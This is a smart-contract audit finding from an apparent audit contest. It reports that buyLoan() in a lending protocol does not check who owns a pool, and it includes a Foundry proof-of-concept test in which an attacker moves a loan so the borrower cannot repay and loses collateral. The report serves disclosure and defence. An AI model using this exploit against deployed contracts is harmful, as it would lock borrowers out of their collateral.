20,000 USDC
View results
Submission Details
Severity: high
Valid

Borrowers cannot withdraw collateral

High

Borrowers cannot withdraw collateral due to missing poolId validation in buyLoan().

Summary

There is no check if msg.sender owns the pool at poolId in buyLoan(). This allows a lender to transfer the loan to another Pool that matches the tokens used for the loan. The loan cannot be repaid as the outstanding debt has transferred to another poolId.

Vulnerability Details

Scenario

Pool A is created by a Lender using Token A and Token B.

A malicious user can call buyLoan() transferring the debt to another matching pool. If there is no matching pool they can create one themselves.

A loan is taken against Pool A and is put up for auction soon after. The malicious user calls buyLoan() transferring the loan to another Pool. This is possible due to buyLoan() not verifying the poolId against the msg.sender.

Now that the loan has transfered to another Pool when the borrower attempts to repay the loan the transaction will revert with an Arithmetic over/underflow due to the check at line 314.

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L314

pools[poolId].outstandingLoans -= loan.debt;

Impact

Borrowers are unable to repay the loan resulting in a loss of collateral.

Code Snippet

https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L355-L385

Proof of Concept

function test_BuyLoan() public {
vm.startPrank(lender1);
Pool memory p1 = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
Pool memory p2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 2 * POOL_LOAN_TOKEN_BALANCE,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 seconds,
interestRate: 1100,
outstandingLoans: 0
});
bytes32 poolIdOne = lender.setPool(p1);
vm.startPrank(lender2);
bytes32 poolIdTwo = lender.setPool(p2);
bytes32[] memory poolIds = new bytes32[](3);
poolIds[0] = poolIdOne;
poolIds[1] = poolIdTwo;
uint256[] memory loansIds = new uint256[](1);
loansIds[0] = 0;
vm.startPrank(borrower);
Borrow memory b = Borrow({poolId: poolIdOne, debt: LOAN_AMOUNT, collateral: 1000 * 10 ** 18});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
logPools(poolIdOne, poolIdTwo);
vm.startPrank(lender1);
lender.startAuction(loansIds);
vm.warp(1 days / 24);
vm.startPrank(attacker);
lender.buyLoan(loansIds[0], poolIds[1]);
logPools(poolIdOne, poolIdTwo);
vm.startPrank(borrower);
vm.expectRevert();
lender.repay(loansIds);
}

Tools Used

Manual review and Foundry for the POC

Recommended Mitigation Steps

When buying a loan verify that the lender owns the pool at poolId

if (msg.sender != pool.lender) {
revert Unauthorized();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.